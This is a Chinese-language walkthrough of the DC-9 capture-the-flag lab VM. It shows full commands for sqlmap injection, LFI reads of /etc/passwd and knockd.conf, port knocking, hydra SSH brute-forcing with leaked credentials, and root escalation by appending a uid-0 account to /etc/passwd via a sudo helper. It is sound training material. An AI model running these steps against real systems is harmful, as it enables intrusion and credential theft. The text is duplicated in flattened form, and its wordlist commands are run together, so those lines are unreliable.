端口敲击守护程序之DC-9
字数 1711 2025-08-10 12:17:54

DC-9 靶机渗透测试详细教学文档

靶机概述

DC-9 是一个 OSCP 系列的中级难度靶机,主要考察以下技术点:

  • SQL 注入漏洞利用
  • 文件包含漏洞(LFI)
  • 端口敲击(port knocking)技术
  • 密码爆破与横向移动
  • sudo 提权技术

环境准备

  1. 攻击机配置

    • IP: 192.168.45.192
    • 工具准备:nmap, sqlmap, dirsearch, hashcat, hydra, knockd
  2. 靶机配置

    • IP: 192.168.178.209
    • 开放服务:HTTP (80端口)
    • 过滤服务:SSH (22端口)

信息收集阶段

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.178.209

结果:

  • 80/tcp open http
  • 22/tcp filtered ssh

关键点:22端口被过滤(filtered)意味着可能有防火墙保护,需要特殊方式访问。

服务版本探测

sudo nmap -sT -sV -O -sC -p22,80 192.168.178.209

结果:

  • Apache httpd 2.4.38 (Debian)
  • 22端口状态变为closed(与之前filtered不同)

Web应用指纹识别

whatweb http://192.168.178.209

结果显示是一个基于PHP的CMS系统,标题为"Example.com - Staff Details - Welcome"

目录扫描

dirsearch -u http://192.168.178.209 -x 302,403,404

发现重要目录:

  • /results.php (搜索功能)
  • /addrecord.php (添加记录功能)

漏洞利用阶段

SQL注入漏洞

  1. 手动测试
    在搜索框输入:Julie' -- qwe,成功返回结果,确认存在SQL注入

  2. 使用sqlmap自动化利用

# 基础探测
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*"

# 获取数据库
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" --dbs

# 获取Staff数据库表
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff --tables

# 获取Users表数据
sudo sqlmap -u "http://192.168.178.209/results.php" --data "search=Julie*" -D Staff -T Users -C Username,Password --dump

获取到管理员凭据:

  • 用户名:admin
  • 密码哈希:856f5de590ef37314e7c3bdf6f8a66dc (MD5)
  1. 密码破解尝试
    使用hashcat和在线解密网站尝试破解,最终得到明文密码:transorbital1

后台登录

使用获得的凭据登录后台,发现新增功能点,底部显示"File does not exist"提示,可能存在文件包含漏洞。

文件包含漏洞(LFI)

  1. 参数FUZZ测试
ffuf -u 'http://192.168.178.209/addrecord.php?FUZZ=etc/passwd' -w /usr/share/wordlists/dirb/common.txt -b "PHPSESSID=h86ph7lej727porurqhsh072vs" -fs 0

发现有效参数:file

  1. 读取关键文件
    访问/etc/knockd.conf获取端口敲击配置:
[options]
UseSyslog

[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

端口敲击技术

使用knockd工具按顺序访问指定端口以打开SSH:

sudo apt install knockd
knock 192.168.178.209 7469 8475 9842

验证SSH端口已开放:

nmap -p22 192.168.178.209

横向移动阶段

SSH爆破准备

  1. 创建用户列表
echo 'marymjuliedfredfbarneyrtomcjerrymwilmafbettyrchandlerbjoeytrachelgrossgmonicagphoebebscootsjanitorjanitor2' > user.txt
  1. 创建密码列表
echo '3kfs86sfd468sfdfsd24sfd87sfd1RocksOffTC&TheBoyzB8m#48sdPebblesBamBam01UrAG0D!Passw0rdyN72#dsdILoveRachel3248dsds7ssmellycatsYR3BVxxxw87IlovepeepeeHawaii-Five-0' > passwd.txt
  1. 使用hydra爆破
hydra -L user.txt -P passwd.txt 192.168.178.209 ssh -s 22 -t 64 -o main

获得有效凭据:

  • chandlerb:UrAG0D!
  • joeyt:Passw0rd
  • janitor:Ilovepeepee

用户枚举与信息收集

  1. 登录janitor账户
ssh janitor@192.168.178.209
  1. 发现隐藏密码文件
    在janitor主目录下发现包含更多密码的文件,创建新密码列表:
echo 'BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts' > passwd2.txt
  1. 二次爆破
hydra -L user.txt -P passwd2.txt 192.168.178.209 ssh -s 22 -t 64 -o main

获得新凭据:

  • fredf:B4-Tru3-001

权限提升阶段

获取本地flag

find / -name local.txt 2>/dev/null
cat /home/fredf/local.txt

sudo提权分析

检查fredf的sudo权限:

sudo -l

结果显示可以无密码以root身份运行:
/opt/devstuff/dist/test/test

分析可执行文件

  1. 查看文件内容
ls -al /opt/devstuff/dist/test/test
cat /opt/devstuff/dist/test/test  # 无法直接查看
  1. 运行测试
/opt/devstuff/dist/test/test

显示用法:Usage: python test.py read append

  1. 查找关联Python文件
find / -name "test.py" 2>/dev/null

发现/opt/devstuff/test.py,内容如下:

#!/usr/bin/python
import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

利用漏洞提权

  1. 生成root密码
openssl passwd
# 输入密码后获得哈希:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.
  1. 创建恶意passwd条目
echo 'YaoRuo:$1$2Pnbp/rL$s7aGNIT5ndyGog5cor6N4.:0:0:root:/root:/bin/bash' > /tmp/passwd.txt
  1. 覆盖/etc/passwd
sudo /opt/devstuff/dist/test/test /tmp/passwd.txt /etc/passwd
  1. 切换root用户
su YaoRuo
# 输入之前设置的密码
  1. 获取root flag
cat /root/proof.txt

技术总结

  1. 端口敲击技术

    • 用于保护SSH等敏感服务
    • 通过特定端口序列触发防火墙规则变更
    • 配置文件通常位于/etc/knockd.conf
  2. LFI到RCE的多种途径

    • 日志文件注入
    • 配置文件修改
    • 关键系统文件读取
  3. 密码安全

    • 避免使用可预测的密码
    • 不同账户不应使用相同密码
    • 定期更换密码
  4. 最小权限原则

    • sudo配置应严格限制
    • 避免赋予文件写入等危险权限
  5. 防御建议

    • 对用户输入严格过滤
    • 关键服务使用双因素认证
    • 定期审计系统权限配置

通过本靶机的渗透测试,我们系统性地学习了从信息收集到权限提升的完整过程,特别是端口敲击和sudo提权等高级技术的实际应用。

DC-9 靶机渗透测试详细教学文档 靶机概述 DC-9 是一个 OSCP 系列的中级难度靶机,主要考察以下技术点: SQL 注入漏洞利用 文件包含漏洞(LFI) 端口敲击(port knocking)技术 密码爆破与横向移动 sudo 提权技术 环境准备 攻击机配置 : IP: 192.168.45.192 工具准备:nmap, sqlmap, dirsearch, hashcat, hydra, knockd 靶机配置 : IP: 192.168.178.209 开放服务:HTTP (80端口) 过滤服务:SSH (22端口) 信息收集阶段 端口扫描 结果: 80/tcp open http 22/tcp filtered ssh 关键点 :22端口被过滤(filtered)意味着可能有防火墙保护,需要特殊方式访问。 服务版本探测 结果: Apache httpd 2.4.38 (Debian) 22端口状态变为closed(与之前filtered不同) Web应用指纹识别 结果显示是一个基于PHP的CMS系统,标题为"Example.com - Staff Details - Welcome" 目录扫描 发现重要目录: /results.php (搜索功能) /addrecord.php (添加记录功能) 漏洞利用阶段 SQL注入漏洞 手动测试 : 在搜索框输入: Julie' -- qwe ,成功返回结果,确认存在SQL注入 使用sqlmap自动化利用 : 获取到管理员凭据: 用户名:admin 密码哈希:856f5de590ef37314e7c3bdf6f8a66dc (MD5) 密码破解尝试 : 使用hashcat和在线解密网站尝试破解,最终得到明文密码:transorbital1 后台登录 使用获得的凭据登录后台,发现新增功能点,底部显示"File does not exist"提示,可能存在文件包含漏洞。 文件包含漏洞(LFI) 参数FUZZ测试 : 发现有效参数: file 读取关键文件 : 访问 /etc/knockd.conf 获取端口敲击配置: 端口敲击技术 使用knockd工具按顺序访问指定端口以打开SSH: 验证SSH端口已开放: 横向移动阶段 SSH爆破准备 创建用户列表 : 创建密码列表 : 使用hydra爆破 : 获得有效凭据: chandlerb:UrAG0D ! joeyt:Passw0rd janitor:Ilovepeepee 用户枚举与信息收集 登录janitor账户 : 发现隐藏密码文件 : 在janitor主目录下发现包含更多密码的文件,创建新密码列表: 二次爆破 : 获得新凭据: fredf:B4-Tru3-001 权限提升阶段 获取本地flag sudo提权分析 检查fredf的sudo权限: 结果显示可以无密码以root身份运行: /opt/devstuff/dist/test/test 分析可执行文件 查看文件内容 : 运行测试 : 显示用法: Usage: python test.py read append 查找关联Python文件 : 发现 /opt/devstuff/test.py ,内容如下: 利用漏洞提权 生成root密码 : 创建恶意passwd条目 : 覆盖/etc/passwd : 切换root用户 : 获取root flag : 技术总结 端口敲击技术 : 用于保护SSH等敏感服务 通过特定端口序列触发防火墙规则变更 配置文件通常位于 /etc/knockd.conf LFI到RCE的多种途径 : 日志文件注入 配置文件修改 关键系统文件读取 密码安全 : 避免使用可预测的密码 不同账户不应使用相同密码 定期更换密码 最小权限原则 : sudo配置应严格限制 避免赋予文件写入等危险权限 防御建议 : 对用户输入严格过滤 关键服务使用双因素认证 定期审计系统权限配置 通过本靶机的渗透测试,我们系统性地学习了从信息收集到权限提升的完整过程,特别是端口敲击和sudo提权等高级技术的实际应用。